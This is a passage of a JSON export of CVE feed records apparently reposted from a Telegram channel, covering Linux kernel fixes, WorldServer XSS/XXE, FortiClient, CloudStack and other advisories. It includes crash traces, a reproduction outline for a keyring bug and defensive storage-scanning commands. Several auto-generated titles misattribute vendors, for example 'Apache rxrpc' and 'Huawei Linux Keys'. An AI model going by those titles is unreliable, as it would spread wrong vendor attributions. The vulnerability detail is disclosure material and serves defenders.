2024, 2:16 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnet: hns3: fix kernel crash when uninstalling driver  \n  \nWhen the driver is uninstalled and the VF is disabled concurrently, a  \nkernel crash occurs. The reason is that the two actions call function  \npci_disable_sriov(). The num_VFs is checked to determine whether to  \nrelease the corresponding resources. During the second calling, num_VFs  \nis not 0 and the resource release function is called. However, the  \ncorresponding resource has been released during the first invoking.  \nTherefore, the problem occurs:  \n  \n[15277.839633][T50670] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000020  \n...  \n[15278.131557][T50670] Call trace:  \n[15278.134686][T50670]  klist_put+0x28/0x12c  \n[15278.138682][T50670]  klist_del+0x14/0x20  \n[15278.142592][T50670]  device_del+0xbc/0x3c0  \n[15278.146676][T50670]  pci_remove_bus_device+0x84/0x120  \n[15278.151714][T50670]  pci_stop_and_remove_bus_device+0x6c/0x80  \n[15278.157447][T50670]  pci_iov_remove_virtfn+0xb4/0x12c  \n[15278.162485][T50670]  sriov_disable+0x50/0x11c  \n[15278.166829][T50670]  pci_disable_sriov+0x24/0x30  \n[15278.171433][T50670]  hnae3_unregister_ae_algo_prepare+0x60/0x90 [hnae3]  \n[15278.178039][T50670]  hclge_exit+0x28/0xd0 [hclge]  \n[15278.182730][T50670]  __se_sys_delete_module.isra.0+0x164/0x230  \n[15278.188550][T50670]  __arm64_sys_delete_module+0x1c/0x30  \n[15278.193848][T50670]  invoke_syscall+0x50/0x11c  \n[15278.198278][T50670]  el0_svc_common.constprop.0+0x158/0x164  \n[15278.203837][T50670]  do_el0_svc+0x34/0xcc  \n[15278.207834][T50670]  el0_svc+0x20/0x30  \n  \nFor details, see the following figure.  \n  \n     rmmod hclge              disable VFs  \n----------------------------------------------------  \nhclge_exit()            sriov_numvfs_store()  \n  ...                     device_lock()  \n  pci_disable_sriov()     hns3_pci_sriov_configure()  \n                            pci_disable_sriov()  \n                              sriov_disable()  \n    sriov_disable()             if !num_VFs :  \n      if !num_VFs :               return;  \n        return;                 sriov_del_vfs()  \n      sriov_del_vfs()             ...  \n        ...                       klist_put()  \n        klist_put()               ...  \n        ...                     num_VFs = 0;  \n      num_VFs = 0;        device_unlock();  \n  \nIn this patch, when driver is removing, we get the device_lock()  \nto protect num_VFs, just like sriov_numvfs_store(). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-19T04:16:04.000000Z"}, {"uuid": "91c0f9a9-1a55-47de-9c0d-c98a82cd883a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50295", "type": "seen", "source": "https://t.me/cvedetector/11422", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50295 - Linux Kernel Arc Driver DMA Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50295 \nPublished : Nov. 19, 2024, 2:16 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnet: arc: fix the device for dma_map_single/dma_unmap_single  \n  \nThe ndev->dev and pdev->dev aren't the same device, use ndev->dev.parent  \nwhich has dma_mask, ndev->dev.parent is just pdev->dev.  \nOr it would cause the following issue:  \n  \n[   39.933526] ------------[ cut here ]------------  \n[   39.938414] WARNING: CPU: 1 PID: 501 at kernel/dma/mapping.c:149 dma_map_page_attrs+0x90/0x1f8 \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-19T04:16:00.000000Z"}, {"uuid": "523646cd-21b9-4182-9baa-3fc6184e6c66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50294", "type": "seen", "source": "https://t.me/cvedetector/11421", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50294 - \"Apache rxrpc Missing Locking Hang Issue\"\", \n  \"Content\": \"CVE ID : CVE-2024-50294 \nPublished : Nov. 19, 2024, 2:16 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nrxrpc: Fix missing locking causing hanging calls  \n  \nIf a call gets aborted (e.g. because kafs saw a signal) between it being  \nqueued for connection and the I/O thread picking up the call, the abort  \nwill be prioritised over the connection and it will be removed from  \nlocal->new_client_calls by rxrpc_disconnect_client_call() without a lock  \nbeing held.  This may cause other calls on the list to disappear if a race  \noccurs.  \n  \nFix this by taking the client_call_lock when removing a call from whatever  \nlist its ->wait_link happens to be on. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-19T04:15:59.000000Z"}, {"uuid": "85aad5fd-7756-4c59-9723-7242bb04e9a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50300", "type": "seen", "source": "https://t.me/cvedetector/11415", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50300 - \"Texas Instruments Regulator RTQ2208 Use After Free Information Disclosure Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-50300 \nPublished : Nov. 19, 2024, 2:16 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nregulator: rtq2208: Fix uninitialized use of regulator_config  \n  \nFix rtq2208 driver uninitialized use to cause kernel error. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-19T04:15:52.000000Z"}, {"uuid": "45e8916a-d3bb-4aff-8a42-8ab4c6c33515", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50301", "type": "published-proof-of-concept", "source": "https://t.me/cvedetector/11414", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50301 - Huawei Linux Keys KASAN Slab Out-of-Bounds Read\", \n  \"Content\": \"CVE ID : CVE-2024-50301 \nPublished : Nov. 19, 2024, 2:16 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nsecurity/keys: fix slab-out-of-bounds in key_task_permission  \n  \nKASAN reports an out of bounds read:  \nBUG: KASAN: slab-out-of-bounds in __kuid_val include/linux/uidgid.h:36  \nBUG: KASAN: slab-out-of-bounds in uid_eq include/linux/uidgid.h:63 [inline]  \nBUG: KASAN: slab-out-of-bounds in key_task_permission+0x394/0x410  \nsecurity/keys/permission.c:54  \nRead of size 4 at addr ffff88813c3ab618 by task stress-ng/4362  \n  \nCPU: 2 PID: 4362 Comm: stress-ng Not tainted 5.10.0-14930-gafbffd6c3ede #15  \nCall Trace:  \n __dump_stack lib/dump_stack.c:82 [inline]  \n dump_stack+0x107/0x167 lib/dump_stack.c:123  \n print_address_description.constprop.0+0x19/0x170 mm/kasan/report.c:400  \n __kasan_report.cold+0x6c/0x84 mm/kasan/report.c:560  \n kasan_report+0x3a/0x50 mm/kasan/report.c:585  \n __kuid_val include/linux/uidgid.h:36 [inline]  \n uid_eq include/linux/uidgid.h:63 [inline]  \n key_task_permission+0x394/0x410 security/keys/permission.c:54  \n search_nested_keyrings+0x90e/0xe90 security/keys/keyring.c:793  \n  \nThis issue was also reported by syzbot.  \n  \nIt can be reproduced by following these steps(more details [1]):  \n1. Obtain more than 32 inputs that have similar hashes, which ends with the  \n   pattern '0xxxxxxxe6'.  \n2. Reboot and add the keys obtained in step 1.  \n  \nThe reproducer demonstrates how this issue happened:  \n1. In the search_nested_keyrings function, when it iterates through the  \n   slots in a node(below tag ascend_to_node), if the slot pointer is meta  \n   and node->back_pointer != NULL(it means a root), it will proceed to  \n   descend_to_node. However, there is an exception. If node is the root,  \n   and one of the slots points to a shortcut, it will be treated as a  \n   keyring.  \n2. Whether the ptr is keyring decided by keyring_ptr_is_keyring function.  \n   However, KEYRING_PTR_SUBTYPE is 0x2UL, the same as  \n   ASSOC_ARRAY_PTR_SUBTYPE_MASK.  \n3. When 32 keys with the similar hashes are added to the tree, the ROOT  \n   has keys with hashes that are not similar (e.g. slot 0) and it splits  \n   NODE A without using a shortcut. When NODE A is filled with keys that  \n   all hashes are xxe6, the keys are similar, NODE A will split with a  \n   shortcut. Finally, it forms the tree as shown below, where slot 6 points  \n   to a shortcut.  \n  \n                      NODE A  \n              +------>+---+  \n      ROOT    |       | 0 | xxe6  \n      +---+   |       +---+  \n xxxx | 0 | shortcut  :   : xxe6  \n      +---+   |       +---+  \n xxe6 :   :   |       |   | xxe6  \n      +---+   |       +---+  \n      | 6 |---+       :   : xxe6  \n      +---+           +---+  \n xxe6 :   :           | f | xxe6  \n      +---+           +---+  \n xxe6 | f |  \n      +---+  \n  \n4. As mentioned above, If a slot(slot 6) of the root points to a shortcut,  \n   it may be mistakenly transferred to a key*, leading to a read  \n   out-of-bounds read.  \n  \nTo fix this issue, one should jump to descend_to_node if the ptr is a  \nshortcut, regardless of whether the node is root or not.  \n  \n[1]   \n  \n[jarkko: tweaked the commit message a bit to have an appropriate closes  \n tag.] \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-19T04:15:51.000000Z"}, {"uuid": "9de43fbc-2a97-4f5b-ab93-e3ae8cc2036c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50299", "type": "seen", "source": "https://t.me/cvedetector/11413", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50299 - Vulnerability Title: Linux SCTP unchecked chunk size vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50299 \nPublished : Nov. 19, 2024, 2:16 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nsctp: properly validate chunk size in sctp_sf_ootb()  \n  \nA size validation fix similar to that in Commit 50619dbf8db7 (\"sctp: add  \nsize validation when walking chunks\") is also required in sctp_sf_ootb()  \nto address a crash reported by syzbot:  \n  \n  BUG: KMSAN: uninit-value in sctp_sf_ootb+0x7f5/0xce0 net/sctp/sm_statefuns.c:3712  \n  sctp_sf_ootb+0x7f5/0xce0 net/sctp/sm_statefuns.c:3712  \n  sctp_do_sm+0x181/0x93d0 net/sctp/sm_sideeffect.c:1166  \n  sctp_endpoint_bh_rcv+0xc38/0xf90 net/sctp/endpointola.c:407  \n  sctp_inq_push+0x2ef/0x380 net/sctp/inqueue.c:88  \n  sctp_rcv+0x3831/0x3b20 net/sctp/input.c:243  \n  sctp4_rcv+0x42/0x50 net/sctp/protocol.c:1159  \n  ip_protocol_deliver_rcu+0xb51/0x13d0 net/ipv4/ip_input.c:205  \n  ip_local_deliver_finish+0x336/0x500 net/ipv4/ip_input.c:233 \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-19T04:15:51.000000Z"}, {"uuid": "3018a992-60e6-4ff4-9842-0366feb96c92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50849", "type": "seen", "source": "https://t.me/cvedetector/11385", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50849 - WordServer CSSScripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50849 \nPublished : Nov. 18, 2024, 9:15 p.m. | 37\u00a0minutes ago \nDescription : Cross-Site Scripting (XSS) in the \"Rules\" functionality in WordServer 11.8.2 allows a remote authenticated attacker to execute arbitrary code. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-18T23:14:30.000000Z"}, {"uuid": "bffa6893-a155-457a-944a-09520c9e97cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50848", "type": "seen", "source": "https://t.me/cvedetector/11384", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50848 - WorldServer XXE Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50848 \nPublished : Nov. 18, 2024, 9:15 p.m. | 37\u00a0minutes ago \nDescription : An XML External Entity (XXE) vulnerability in the Import object and Translation Memory import functionalities of WorldServer v11.8.2 to access sensitive information and execute arbitrary commands via supplying a crafted .tmx file. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-18T23:14:30.000000Z"}, {"uuid": "bfd28334-2552-4c1b-b348-19291ded4156", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50804", "type": "seen", "source": "https://t.me/cvedetector/11383", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50804 - MSI Center Pro Insecure Permissions Execution\", \n  \"Content\": \"CVE ID : CVE-2024-50804 \nPublished : Nov. 18, 2024, 9:15 p.m. | 37\u00a0minutes ago \nDescription : Insecure Permissions vulnerability in Micro-star International MSI Center Pro 2.1.37.0 allows a local attacker to execute arbitrary code via the Device_DeviceID.dat.bak file within the C:\\ProgramData\\MSI\\One Dragon Center\\Data folder \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-18T23:14:29.000000Z"}, {"uuid": "e2a20331-acdb-4e47-9ff3-186fc91ac30d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50338", "type": "seen", "source": "Telegram/2jkVbon0AKvDKm9vj_F7rnMeTxCzgQeChMbLUtudeUZLIg", "content": "", "creation_timestamp": "2025-01-28T11:57:13.000000Z"}, {"uuid": "45df8c2f-e85a-4174-9061-603d9a878e0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5030", "type": "seen", "source": "https://t.me/cvedetector/11285", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5030 - WordPress CSRF Vulnerability in CM Table Of Contents Plugin\", \n  \"Content\": \"CVE ID : CVE-2024-5030 \nPublished : Nov. 18, 2024, 6:15 a.m. | 36\u00a0minutes ago \nDescription : The CM Table Of Contents  WordPress plugin before 1.2.3 does not have CSRF check in place when resetting its settings, which could allow attackers to make a logged in admin perform such action via a CSRF attack \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-18T08:10:58.000000Z"}, {"uuid": "5a79c2e6-edff-48e4-9932-293036a7a881", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50570", "type": "seen", "source": "https://t.me/cvedetector/13201", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50570 - FortiClient Cleartext Storage of Sensitive Information Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50570 \nPublished : Dec. 18, 2024, 1:15 p.m. | 46\u00a0minutes ago \nDescription : A Cleartext Storage of Sensitive Information vulnerability [CWE-312] in FortiClientWindows 7.4.0 through 7.4.1, 7.2.0 through 7.2.6, 7.0.0 through 7.0.13 and FortiClientLinux 7.4.0 through 7.4.2, 7.2.0 through 7.2.7, 7.0.0 through 7.0.13 may permit a local authenticated user to retrieve VPN password via memory dump, due to JavaScript's garbage collector \nSeverity: 5.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T15:22:10.000000Z"}, {"uuid": "be3ceff7-9b78-43bc-8364-2aaa45f34901", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50947", "type": "seen", "source": "https://t.me/cvedetector/12034", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50947 - An issue in kmqtt v0.2.7 allows attackers to cause\", \n  \"Content\": \"CVE ID : CVE-2024-50947 \nPublished : Dec. 4, 2024, 9:15 p.m. | 43\u00a0minutes ago \nDescription : An issue in kmqtt v0.2.7 allows attackers to cause a Denial of Service (DoS) via a crafted request. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-04T23:27:33.000000Z"}, {"uuid": "aa39e5f5-a4d2-430e-87be-28752d023ef3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50948", "type": "seen", "source": "https://t.me/cvedetector/11908", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50948 - An issue in mochiMQTT v2.6.3 allows attackers to c\", \n  \"Content\": \"CVE ID : CVE-2024-50948 \nPublished : Dec. 3, 2024, 7:15 p.m. | 21\u00a0minutes ago \nDescription : An issue in mochiMQTT v2.6.3 allows attackers to cause a Denial of Service (DoS) via a crafted request. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"03 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-03T20:40:56.000000Z"}, {"uuid": "b6890270-095e-40b0-8291-80500696aa7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5020", "type": "seen", "source": "https://t.me/cvedetector/11966", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5020 - Multiple plugins for WordPress are vulnerable to S\", \n  \"Content\": \"CVE ID : CVE-2024-5020 \nPublished : Dec. 4, 2024, 9:15 a.m. | 37\u00a0minutes ago \nDescription : Multiple plugins for WordPress are vulnerable to Stored Cross-Site Scripting via the plugin's bundled FancyBox JavaScript library (versions 1.3.4 to 3.5.7) in various versions due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-04T10:54:00.000000Z"}, {"uuid": "8112e68d-aec1-4d7f-8713-a9647fe06650", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50381", "type": "seen", "source": "https://t.me/cvedetector/11803", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50381 - Snap One OVRC Hub Device Impersonation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50381 \nPublished : Dec. 2, 2024, 5:15 p.m. | 51\u00a0minutes ago \nDescription : A vulnerability exists in Snap One OVRC cloud where an attacker can impersonate a Hub device and send requests to claim and unclaim devices. The attacker only needs to provide the MAC address of the targeted device and can make a request to unclaim it from its original connection and make a request to claim it. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-02T19:35:45.000000Z"}, {"uuid": "d2fb199f-fe5d-4f90-90b3-00a700e90da7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50380", "type": "seen", "source": "https://t.me/cvedetector/11808", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50380 - Snap One OVRC MAC Address Impersonation Vulnearbility\", \n  \"Content\": \"CVE ID : CVE-2024-50380 \nPublished : Dec. 2, 2024, 5:15 p.m. | 51\u00a0minutes ago \nDescription : Snap One OVRC cloud uses the MAC address as an identifier to provide information when requested. An attacker can impersonate other devices by supplying enumerated MAC addresses and receive sensitive information about the device. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-02T19:35:53.000000Z"}, {"uuid": "0763c49e-745b-449a-95d4-ad162b3a17d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50253", "type": "seen", "source": "https://t.me/cvedetector/10321", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50253 - Linux Kernel BPF Stack Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50253 \nPublished : Nov. 9, 2024, 11:15 a.m. | 40\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nbpf: Check the validity of nr_words in bpf_iter_bits_new()  \n  \nCheck the validity of nr_words in bpf_iter_bits_new(). Without this  \ncheck, when multiplication overflow occurs for nr_bits (e.g., when  \nnr_words = 0x0400-0001, nr_bits becomes 64), stack corruption may occur  \ndue to bpf_probe_read_kernel_common(..., nr_bytes = 0x2000-0008).  \n  \nFix it by limiting the maximum value of nr_words to 511. The value is  \nderived from the current implementation of BPF memory allocator. To  \nensure compatibility if the BPF memory allocator's size limitation  \nchanges in the future, use the helper bpf_mem_alloc_check_size() to  \ncheck whether nr_bytes is too larger. And return -E2BIG instead of  \n-ENOMEM for oversized nr_bytes. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-09T13:17:42.000000Z"}, {"uuid": "6cac7bad-3384-4169-8459-9897586fe1f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50386", "type": "published-proof-of-concept", "source": "https://t.me/cvedetector/10621", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50386 - Apache CloudStack KVM Template Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50386 \nPublished : Nov. 12, 2024, 3:15 p.m. | 42\u00a0minutes ago \nDescription : Account users in Apache CloudStack by default are allowed to register templates to be downloaded directly to the primary storage for deploying instances. Due to missing validation checks for KVM-compatible templates in CloudStack 4.0.0 through 4.18.2.4 and 4.19.0.0 through 4.19.1.2, an attacker that can register templates, can use them to deploy malicious instances on KVM-based environments and exploit this to gain access to the host filesystems that could result in the compromise of resource integrity and confidentiality, data loss, denial of service, and availability of KVM-based infrastructure managed by CloudStack.  \n  \n  \nUsers are recommended to upgrade to Apache CloudStack 4.18.2.5 or 4.19.1.3, or later, which addresses this issue.   \n  \nAdditionally, all user-registered KVM-compatible templates can be scanned and checked that they are flat files that should not be using any additional or unnecessary features. For example, operators can run the following command on their file-based primary storage(s) and inspect the output. An empty output for the disk being validated means it has no references to the host filesystems; on the other hand, if the output for the disk being validated is not empty, it might indicate a compromised disk. However, bear in mind that (i) volumes created from templates will have references for the templates at first and (ii) volumes can be consolidated while migrating, losing their references to the templates. Therefore, the command execution for the primary storages can show both false positives and false negatives.  \n  \n  \nfor file in $(find /path/to/storage/ -type f -regex [a-f0-9\\-]*.*); do echo \"Retrieving file [$file] info. If the output is not empty, that might indicate a compromised disk; check it carefully.\"; qemu-img info -U $file | grep file: ; printf \"\\n\\n\"; done  \nFor checking the whole template/volume features of each disk, operators can run the following command:  \n  \n  \nfor file in $(find /path/to/storage/ -type f -regex [a-f0-9\\-]*.*); do echo \"Retrieving file [$file] info.\"; qemu-img info -U $file; printf \"\\n\\n\"; done \nSeverity: 8.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-12T17:12:40.000000Z"}, {"uuid": "a8f53ad1-4d49-4812-9854-2cd1d4a63cc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50321", "type": "seen", "source": "https://t.me/cvedetector/10647", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50321 - Ivanti Avalanche Infinite Loop Denial of Service Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50321 \nPublished : Nov. 12, 2024, 4:15 p.m. | 42\u00a0minutes ago \nDescription : An infinite loop in Ivanti Avalanche before 6.4.6 allows a remote unauthenticated attacker to cause a denial of service. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-12T18:03:22.000000Z"}, {"uuid": "71879e6d-4831-4ca3-b3ee-06c21175c018", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50326", "type": "seen", "source": "https://t.me/cvedetector/10646", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50326 - Ivanti Endpoint Manager SQL Injection RCE\", \n  \"Content\": \"CVE ID : CVE-2024-50326 \nPublished : Nov. 12, 2024, 4:15 p.m. | 42\u00a0minutes ago \nDescription : SQL injection in Ivanti Endpoint Manager before 2024 November Security Update or 2022 SU6 November Security Update\u00a0allows a remote authenticated attacker with admin privileges to achieve remote code execution. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-12T18:03:21.000000Z"}, {"uuid": "c19bbbb0-4022-4f70-9783-292c408671ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50313", "type": "seen", "source": "https://t.me/cvedetector/10605", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50313 - Mendix Basic Authentication Remote Account Lockout Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-50313 \nPublished : Nov. 12, 2024, 1:15 